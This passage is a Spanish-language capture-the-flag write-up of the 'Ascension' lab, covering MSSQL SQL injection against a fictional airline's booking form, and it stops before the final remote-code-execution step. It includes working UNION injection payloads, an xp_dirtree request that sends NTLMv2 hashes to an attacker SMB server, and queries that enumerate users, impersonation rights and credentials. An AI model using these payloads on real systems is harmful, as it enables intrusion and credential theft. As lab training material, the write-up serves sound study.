Introduction
Daedalus Airlines está rápidamente posicionándose como un jugador clave en la aviación global. Sin embargo, el ritmo acelerado de su crecimiento ha resultado en una acumulación significativa de deuda técnica. Para evitar una posible brecha de datos que podría comprometer su cadena de suministro, la compañía ha contratado a tu firma de ciberseguridad para evaluar la seguridad de sus sistemas.
El desafío Ascension está diseñado para poner a prueba tus habilidades en:
- Enumeración: Identificar activos y servicios dentro de la red.
- Explotación: Encontrar y aprovechar vulnerabilidades en los sistemas.
- Pivoting: Moverse lateralmente a través de la red.
- Recorrido de Bosques (Forest Traversal): Navegar entre múltiples dominios en entornos de Active Directory.
- Escalamiento de Privilegios: Elevar tus permisos para obtener control completo sobre sistemas críticos.
Objetivo del Desafío:
Tu misión es infiltrarte en el socio de confianza, pivotar a través de la red y comprometer dos bosques de Active Directory. Durante el proceso, deberás recolectar varias banderas que certifiquen tu avance.
Punto de Entrada:
El viaje comienza en la IP 10.13.38.20.
Takeoff
Se llevó a cabo un escaneo estándar utilizando Nmap, el cual reveló un único puerto abierto en el objetivo:
- Puerto Abierto:
- TCP 80: Servicio HTTP activo.
nmap -sCV -p80 10.13.38.20 -oN targeted

Al ser http el único puerto abierto, la intrusión será via web. Al enumerar la web la mayoría de secciones son estáticas a diferencia de la siguiente sección de “Book a Trip”:

Rellenamos los datos y le damos a “Search Flights” mientras interceptamos la petición con burpsuite y la enviamos al repeater para jugar un rato.

Al colocar '
comillas simple en el parámetro destination
vemos un error de sintaxis en MSSQL. Lo que ya puede indicarnos un posible SQLI.

Para no alargar el writeup, omitire los pasos basicos para encontrar un SQLI, aunque tambien puedes tirar SQLMAP, en mi caso no sera asi. Terminamos de confirmar un SQLI en MSSQL viendo la version de base de datos:
destination=test' union select 1,@@version,3,4,5-- -&adults=test&children=test

Cuando estés en escenarios similares un buen vector seria hacer uso de xp_dirtree
para obtener el hash NTLMv2 del usuario o equipo en cuestión. Esto en caso de que la maquina victima tenga mas puertos abiertos que hagan posible un ataque a active directory. Pero no es el caso. De todas formas seria de la siguiente manera:
- En nuestra shell iniciamos un servidor SMB en el directorio actual con soporte para SMBv2.
smbserver.py smbFolder $(pwd) -smb2support
- Luego en la vulnerabilidad SQLI que tenemos en el repeater enviamos la siguiente petición:
destination=test'; use master; exec xp_dirtree '\\10.10.14.5\smbFolder\test';-- &adults=testt&children=test

- Recibiendo el hash. En otro escenario podriamos intentar crackearlo para tener un vecto de entrada al AD.

Volviendo al SQLI, la idea es escalar a un RCE. Vectores de ataques que puedes probar, pero te adelanto que de primeras no me funciono:
- File read using function OPENROWSET with
bulk
operation. - MSSQL Write File with spWriteStringToFile
- RCE via enable xp_cmdshell and execute commands.
SQL Injection to Reverse Shell via SQL Server Agent Jobs and Impersonation
Por lo que aquí entra en nuevo concepto para mi, ya que se logro reverse shell primero impersonando un usuario para luego explotar la configuración del servidor SQL Agent. Veamos el paso a paso.
- Utiliza la función
CURRENT_USER
para saber con qué cuenta estás interactuando.
destination=test' UNION SELECT 1,CURRENT_USER,3,4,5-- -

- Enumerar usuarios de la base de datos:
destination=test' UNION SELECT 1,name,3,4,5 FROM sys.database_principals-- -

- Comprueba los permisos del usuario actual
daedalus
sobre otros usuarios (en este caso sobredaedalus_admin
):
destination=Greece' UNION SELECT null,entity_name collate DATABASE_DEFAULT,permission_name collate DATABASE_DEFAULT,null,null FROM fn_my_permissions('daedalus_admin', 'USER');-- -

Podemos verlo mas comodo en el navegador en una tablita. Observando que nosotros daedalus
tenemos permisos de IMPERSONATE
sobre daedalus_admin
:

Usaremos el impersonate para después.
- Ahora vamos a enumerar las credenciales del servidor y las configuraciones del SQL Server Agent. Esto es clave para entender qué servicios podían ejecutarse.
destination=test' UNION ALL SELECT null,name,credential_identity,null,null FROM sys.credentials-- -

Concatenación de Payloads para Enumerar Roles y Usuarios
El objetivo principal de estos payloads es identificar los roles asignados a los usuarios de la base de datos, con un enfoque en determinar si algún usuario tiene privilegios sobre el SQL Server Agent. Esto se logra creando una tabla temporal para almacenar la información de roles, rellenándola con datos extraídos de las tablas del sistema y luego consultando dicha tabla.
- Paso 1: Crear una tabla llamada
roles
en la base de datos para almacenar los nombres de usuarios y los roles asociados a ellos.
destination=test' CREATE TABLE roles ([username] sysname, [rolename] sysname)-- -

- Paso 2: Insertar datos en la tabla
roles
: Inserta los datos de roles y usuarios en la tabla recién creada. Esto se logra mediante una consulta SQL que cruza las tablas del sistema que almacenan información de roles y miembros.

Paso 3: Consultar la tabla
roles
: UtilizarUNION SELECT
para consultar los datos almacenados en la tablaroles
y mostrarlos en la respuesta de la aplicación web.
destination=test' UNION SELECT 1,rolename,username,4,5 FROM roles-- -

Para mayor comodidad lo vemos en el navegador. Observando que daedalus_admin
pertenece al rol SQLAgentUserRole
, esto nos permite crear y ejecutar trabajos en el SQL Server Agent.

Remote Code Execution throught MSSQL Server Agent
Según el siguiente informe para que se de esta ejecucion remota de codigo el servidor debía cumplir varias condiciones:
- The MSSQL Server Agent service needs to be running.
- The account that is being used must have permissions to create and execute agent jobs (in this case the database account that was running the service that had a SQL injection condition).